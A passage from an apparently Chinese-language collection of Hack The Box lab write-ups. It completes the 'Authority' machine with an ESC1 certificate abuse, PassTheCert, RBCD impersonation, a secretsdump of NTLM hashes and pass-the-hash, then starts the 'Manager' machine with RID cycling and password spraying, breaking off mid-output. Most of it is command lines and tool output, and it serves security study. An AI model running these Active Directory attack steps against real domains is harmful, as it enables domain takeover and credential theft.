        Enroll                          : AUTHORITY.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : AutoEnrollmentCheckUserDsCertificate
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE intermediate
                                          IP security use
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 20 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : AUTHORITY.HTB\Administrator
        Write Owner Principals          : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Dacl Principals           : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Property Principals       : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
```

在底部，它识别了一个名为CorpVPN的模板，该模板容易受到ESC1的攻击。还将注意到AUTHORITY-CA的CA名称。

它允许参与者提供任意主题备选名称(SAN)。这意味着可以代表其他用户请求证书，例如域管理员。

#### ESC1
#### 背景

 - [Abusing Active Directory Certificate Services – Part One](https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/)
 - [Exploiting AD CS: A quick look at ESC1 and ESC8](https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8)

当将ADCS配置为允许低权限用户代表任何domain对象(包括特权对象)注册和请求证书时，ESC1成为漏洞。

文章中给出的示例显示了有效的设置，并且它与来自Authority的内容相匹配，除了一个区别:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority6.png)

在本例中，可以注册此模板的是Domain Computers，而不是Domain Users。

#### 创建computer账户

在[htb-support](https://0xdf.gitlab.io/2022/12/17/htb-support.html#create-fakecomputer)中，有一个利用路径，需要一台假计算机。在这里做同样的事情，尽管在Support上是从目标上的shell完成的，在这里将展示如何使用[Impacket](https://github.com/SecureAuthCorp/impacket)远程完成它。

允许用户将计算机添加到域的设置是 ms-ds-machineaccountquota。在Authority上，可以用[PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)查询:

``` bash
*Evil-WinRM* PS C:\programdata> upload /opt/PowerSploit/Recon/PowerView.ps1
Info: Uploading /opt/PowerSploit/Recon/PowerView.ps1 to C:\programdata\PowerView.ps1


Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> Get-DomainObject -Identity 'DC=AUTHORITY,DC=HTB' | select ms-ds-machineaccountquota

ms-ds-machineaccountquota
-------------------------
                       10
```

netexec也可以实现同样的效果:

``` bash
┌[root@kali] [/dev/pts/4]
└[~/hackthebox/machine/authority]> netexec ldap 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M MAQ
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
LDAPS       10.10.11.222    636    AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r!
MAQ         10.10.11.222    389    AUTHORITY        [*] Getting the MachineAccountQuota
MAQ         10.10.11.222    389    AUTHORITY        MachineAccountQuota: 10
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority7.png)

现在可以使用addcomputer.py添加计算机

``` bash
┌[root@kali] [/dev/pts/4]
└[~/hackthebox/machine/authority]> addcomputer.py 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' -method LDAPS -computer-name 'EVIL01' -computer-pass 'fdvoid0' -dc-ip 10.10.11.222
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Successfully added machine account EVIL01$ with password fdvoid0.
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority8.png)

#### 创建证书

使用域上的计算机帐户，现在certipy将使用以下选项创建证书:

 - req - 请求证书
 - -username EVIL01$ -password 'fdvoid0' - 验证为创建的计算机帐户
 - -ca AUTHORITY-CA - 与ADCS关联的证书颁发机构
 - -dc-ip 10.10.11.222 - DC的ip
 - -template CorpVPN - 存在漏洞模板的名称
 - -upn administrator@authority.htb - 请求证书的用户
 - -dns authority.htb - 在此请求中使用的DNS服务器

结果是保存在administrator_authority.pfx中的证书和私钥

``` bash
┌[root@kali] [/dev/pts/4]
└[~/hackthebox/machine/authority]> certipy req -username EVIL01$ -password 'fdvoid0' -ca AUTHORITY-CA -dc-ip 10.10.11.222 -template CorpVPN -upn administrator@authority.htb -dns authority.htb -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 6
[*] Got certificate with multiple identifications
    UPN: 'administrator@authority.htb'
    DNS Host Name: 'authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority9.png)

#### PassTheCert
#### Auth [Fail]

通常，使用auth命令来获取管理员用户的NTLM hash:

如果一切正常，该工具将执行Kerberos U2U(用户对用户身份验证)，并从特权属性证书(PAC)解密NT hash，然后将能够使用NT hash pass-the-hash并获得管理员访问权限。

``` bash
┌[root@kali] [/dev/pts/4]
└[~/hackthebox/machine/authority]> certipy auth -pfx administrator_authority.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@authority.htb'
    [1] DNS Host Name: 'authority.htb'
> 0
[*] Using principal: administrator@authority.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
```

根据[Certificates and Pwnage and Patches, Oh My!](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d)的这篇文章，[Authenticating with certificates when PKINIT is not supported](https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html), "当域控制器没有为智能卡安装证书时"就会发生这种情况。具体来说，发生这种情况是因为"DC没有为PKINIT正确设置，身份验证会失效"。

同一篇文章提出了另一种方法:

***如果遇到这样的情况: 可以注册一个存在漏洞的证书模板，但是生成的证书无法通过Kerberos身份验证，可以尝试使用[PassTheCert](https://github.com/AlmondOffSec/PassTheCert)之类的东西通过[SChannel](https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-schannel/ba-p/259233)对LDAP进行身份验证。将只有LDAP访问权限，但如果有一个证明您是域管理员的证书，就足够了。***

#### LDAP Shell [方法 1]

要执行passthecert攻击，需要将密钥和证书放在单独的文件中，certipy可以处理这个问题:

``` bash
┌[root@kali] [/dev/pts/4]
└[~/hackthebox/machine/authority]> certipy cert -pfx administrator_authority.pfx -nocert -out administrator.key
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing private key to 'administrator.key'
┌[root@kali] [/dev/pts/4]
└[~/hackthebox/machine/authority]> certipy cert -pfx administrator_authority.pfx -nokey -out administrator.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'administrator.crt'
```

[PassTheCert](https://github.com/AlmondOffSec/PassTheCert)有c#和Python工具来执行passthecert攻击。它还提供了一个ldap-shell选项，允许在DC上运行一组有限的命令。

 - -action ldap-shell - 提供一组有限的命令集
 - -crt administrator.crt -key administrator.key - 指定证书和密钥文件
 - -domain authority.htb -dc-ip 10.10.11.222 - 目标信息

``` bash
┌[root@kali] [/dev/pts/4]
└[~/hackthebox/machine/authority]> python /root/PassTheCert/Python/passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

Type help for list of commands

#
# help

 add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
 rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
 add_user new_user [parent] - Creates a new user.
 add_user_to_group user group - Adds a user to a group.
 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
 clear_rbcd target - Clear the resource based constrained delegation configuration information.
 disable_account user - Disable the user's account.
 enable_account user - Enable the user's account.
 dump - Dumps the domain.
 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
 get_user_groups user - Retrieves all groups this user is a member of.
 get_group_users group - Retrieves all members of a group.
 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
 grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
 start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
 exit - Terminates this session.
```

将svc_ldap用户添加到administrators组

``` bash
# add_user_to_group svc_ldap administrators
Adding user: svc_ldap to group Administrators result: OK
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority10.png)

重新连接一个新的Evil-WinRM shell作为svc_ldap用户，现在有管理员组权限:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  evil-winrm -i authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> net user svc_ldap
User name                    svc_ldap
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            8/10/2022 8:29:31 PM
Password expires             Never
Password changeable          8/11/2022 8:29:31 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   12/11/2023 6:31:59 AM

Logon hours allowed          All

Local Group Memberships      *Administrators       *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.
```

获取root flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority11.png)

#### PassTheCert -> TGT [Path 2]

预期方法是使用write_rbcd操作来赋予假计算机在DC上的EVIL01$授权权限:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  python3 /root/PassTheCert/Python/passthecert.py -dc-ip 10.10.11.222 -crt administrator.crt -key administrator.key -domain authority.htb -port 636 -action write_rbcd -delegate-to 'AUTHORITY$' -delegate-from 'EVIL01$'
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] EVIL01$ can now impersonate users on AUTHORITY$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     EVIL01$      (S-1-5-21-622327497-3269355298-2248959698-11601)
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority12.png)

确保我的时间和authority DC服务器保持同步

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  ntpdate 10.10.11.222
2023-12-12 01:51:30.17813 (-0500) +8147.064292 +/- 0.167871 10.10.11.222 s1 no-leap
CLOCK: time stepped by 8147.064292
```

获得一张银票:

``` bash
┌[root@kali] [/dev/pts/4] [1]
└[~/hackthebox/machine/authority]> getST.py -spn 'cifs/AUTHORITY.authority.htb' -impersonate Administrator 'authority.htb/EVIL01$:fdvoid0'
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority13.png)

dump NTLM hashes from the DC:

``` bash
 ✘ ⚡ root@kali  ~/hackthebox/machine/authority  KRB5CCNAME=Administrator.ccache secretsdump.py -k -no-pass authority.htb/Administrator@authority.authority.htb -just-dc-ntlm
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:ae69c697c3873d5ef03c24d7091e7a16:::
EVIL01$:11602:aad3b435b51404eeaad3b435b51404ee:9d3bb2d3f1edbdff68c016035a4ba13b:::
[*] Cleaning up...
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority14.png)

Evil-WinRM shell

``` bash
~/PassTheCert/Python on  main ⌚ 2:16:46
$ evil-winrm -i authority.htb -u administrator -H 6961f422924da90a6928197429eea4ed

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\Administrator\desktop\root.txt
4f43fb2ec6139f4ec336bbcc4f9c98db
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority15.png)

#### Reference Sources

 - [0xdf's blog Authority walkthrough](https://0xdf.gitlab.io/2023/12/09/htb-authority.html)
 - [PWM is an open source password self-service application for LDAP directories.](https://github.com/pwm-project/pwm)
 - [Ansible Vault](https://docs.ansible.com/ansible/2.8/user_guide/vault.html#variable-level-encryption)
 - [ansible2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/ansible2john.py)
 - [ansible hash crack](https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/ansible)
 - [Responder](https://github.com/lgandx/Responder)
 - [Certipy GitHub](https://github.com/ly4k/Certipy)
 - [HTB: Absolute](https://0xdf.gitlab.io/2023/05/27/htb-absolute.html#shadow-credential)
 - [HTB: Escape](https://0xdf.gitlab.io/2023/06/17/htb-escape.html#shell-as-administrator)
 - [Abusing Active Directory Certificate Services – Part One](https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/)
 - [Exploiting AD CS: A quick look at ESC1 and ESC8](https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8)
 - [HTB: Support](https://0xdf.gitlab.io/2022/12/17/htb-support.html#create-fakecomputer)
 - [impacket](https://github.com/fortra/impacket)
 - [PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
 - [Certificates and Pwnage and Patches, Oh My!](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d)
 - [Authenticating with certificates when PKINIT is not supported](https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html)
 - [PassTheCert](https://github.com/AlmondOffSec/PassTheCert)
 - [Demystifying Schannel](https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-schannel/ba-p/259233)

<!-- kb:end htb-authority -->

</details>

<a id="case-htb-manager"></a>

## ManageCA 权限与 ESC7

RID、MSSQL 文件树和站点备份定位账户，CA 管理权限连接证书颁发。拒绝状态、证书批准和清理脚本回滚均保留。

<p class="kb-provenance">来源 htb-manager · 原记录 2024-03-17 · 24 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-htb-manager">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start htb-manager -->

#### 简述

本文是Medium难度的HTB Manager机器的域渗透部分，其中RID cycling, MSSQL xp_dirtree, ESC7 exploitation等域渗透提权细节是此box的特色，主要参考[0xdf's blog manager walkthrough](https://0xdf.gitlab.io/2024/03/16/htb-manager.html)和[HTB的manager官方writeup paper](https://app.hackthebox.com/machines/Manager/writeups)记录这篇博客加深记忆和理解，及供后续做深入研究查阅，备忘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/manager.png)



#### 信息收集

``` bash
{} manager nmap -p- --min-rate 10000 10.10.11.236
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 08:06 CDT
Nmap scan report for manager.htb (10.10.11.236)
Host is up (0.27s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49727/tcp open  unknown
51977/tcp open  unknown
52689/tcp open  unknown

root@kali ~/hackthebox/machine/manager
☺  nmap -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -sCV 10.10.11.236                                               system: ruby 3.1.2p20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 08:06 CDT
Nmap scan report for manager.htb (10.10.11.236)
Host is up (0.30s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Manager
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-17 13:07:04Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-17T13:08:39+00:00; +33s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-17T13:08:39+00:00; +35s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   10.10.11.236:1433:
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2024-03-17T13:08:39+00:00; +34s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-17T11:45:12
|_Not valid after:  2054-03-17T11:45:12
| ms-sql-info:
|   10.10.11.236:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-17T13:08:39+00:00; +34s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-03-17T13:08:39+00:00; +35s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 32s, deviation: 1s, median: 33s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-03-17T13:07:57
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.17 seconds
```

了解到该box是一台域控,且开放了1433 mssql数据库

现在继续枚举SMB服务。利用smbclient工具通过使用空会话列出所有共享，因为刚开始没有任何密码。

``` bash
{} manager smbclient -L \\\\10.10.11.236\\ -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
```

通常，当允许列出具有空会话的共享时，还可以利用它来执行RID循环并枚举机器上的用户。

***RID循环是一种方法，当允许列出具有空会话的共享时，用于枚举Windows系统上的用户。它涉及到通过增加相对标识符(RID)部分来顺序查询安全标识符(sid)。由于rid是按顺序分配给Windows中的用户和组的，因此该技术可以显示有效的用户帐户。
通过将RID循环与共享列表的空会话访问相结合，攻击者可以收集有关系统上现有用户的信息，从而帮助进一步的利用工作。***

可以使用[Impacket库的lookupsid模块](https://github.com/SecureAuthCorp/impacket)来执行RID循环以枚举盒子上的用户。

``` bash
{} manager impacket-lookupsid anonymous@manager.htb -no-pass | grep SidTypeUser | cut -d' ' -f2 | cut -d'\' -f2 | tr '[:upper:]' '[:lower:]' | tee users
administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator
```

 - 使用ldapsearch来确认基本域名:

``` bash
{} manager ldapsearch -H ldap://dc01.manager.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingcontexts: DC=manager,DC=htb
namingcontexts: CN=Configuration,DC=manager,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=manager,DC=htb
namingcontexts: DC=DomainDnsZones,DC=manager,DC=htb
namingcontexts: DC=ForestDnsZones,DC=manager,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

 - Kerberos - TCP 88

``` bash
{} manager /root/kerbrute userenum /usr/share/seclists/Usernames/cirt-default-usernames.txt --dc dc01.manager.htb -d manager.htb

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 03/17/24 - Ronnie Flathers @ropnop

2024/03/17 09:14:58 >  Using KDC(s):
2024/03/17 09:14:58 >   dc01.manager.htb:88

2024/03/17 09:14:59 >  [+] VALID USERNAME:       ADMINISTRATOR@manager.htb
2024/03/17 09:15:00 >  [+] VALID USERNAME:       Administrator@manager.htb
2024/03/17 09:15:08 >  [+] VALID USERNAME:       GUEST@manager.htb
2024/03/17 09:15:08 >  [+] VALID USERNAME:       Guest@manager.htb
2024/03/17 09:15:22 >  [+] VALID USERNAME:       OPERATOR@manager.htb
2024/03/17 09:15:22 >  [+] VALID USERNAME:       Operator@manager.htb
2024/03/17 09:15:29 >  [+] VALID USERNAME:       administrator@manager.htb
2024/03/17 09:15:36 >  [+] VALID USERNAME:       guest@manager.htb
2024/03/17 09:15:44 >  [+] VALID USERNAME:       operator@manager.htb
2024/03/17 09:15:54 >  Done! Tested 828 usernames (9 valid) in 56.185 seconds
```

用户设置与其用户名相同的密码是一种常见的做法。因此，尝试使用传统的(用户名=密码)组合进行密码喷洒攻击。可以使用netexec(以前称为crackmapexec，现已停止维护)程序尝试对目标进行SMB身份验证，将用户名和密码设为相同文件users。

 - NetExec是非长期维护的CrackMapExec项目的继承者。可以安装在Linux上,如下:

``` bash
# With pipx - recommended
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

# OR with pip:
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
python3 -m venv .
source bin/activate
pip install .
NetExec
```

``` bash
{} manager netexec smb 10.10.11.236 -u users -p users --no-bruteforce
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [-] manager.htb\administrator:administrator STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\guest:guest STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\dc01$:dc01$ STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\raven:raven STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator
```

#### getshell
#### LDAP

``` bash
{} manager netexec ldap manager.htb -u operator -p operator
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.236    389    DC01             [+] manager.htb\operator:operator
{} manager ldapdomaindump -u management.htb\\operator -p 'operator' 10.10.11.236 -o ldap/
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
{} manager ls ldap
domain_computers_by_os.html  domain_computers.json  domain_groups.json  domain_policy.json  domain_trusts.json          domain_users.html
domain_computers.grep        domain_groups.grep     domain_policy.grep  domain_trusts.grep  domain_users_by_group.html  domain_users.json
domain_computers.html        domain_groups.html     domain_policy.html  domain_trusts.html  domain_users.grep
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/manager1.png)

Raven账户可以通过WinRM来远程连接。

#### MSSQL

``` bash
{} manager netexec mssql manager.htb -u operator -p operator
MSSQL       10.10.11.236    1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
MSSQL       10.10.11.236    1433   DC01             [+] manager.htb\operator:operator
```

使用Impacket-mssqlclient连接，使用-windows-auth表示它正在使用操作系统身份验证，而不是DB内:
可以使用xp_dirtree遍历文件系统并列出文件夹

``` bash
{} manager impacket-mssqlclient manager/operator:operator@manager.htb -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator  guest@master)> xp_dirtree \
subdirectory                depth   file
-------------------------   -----   ----
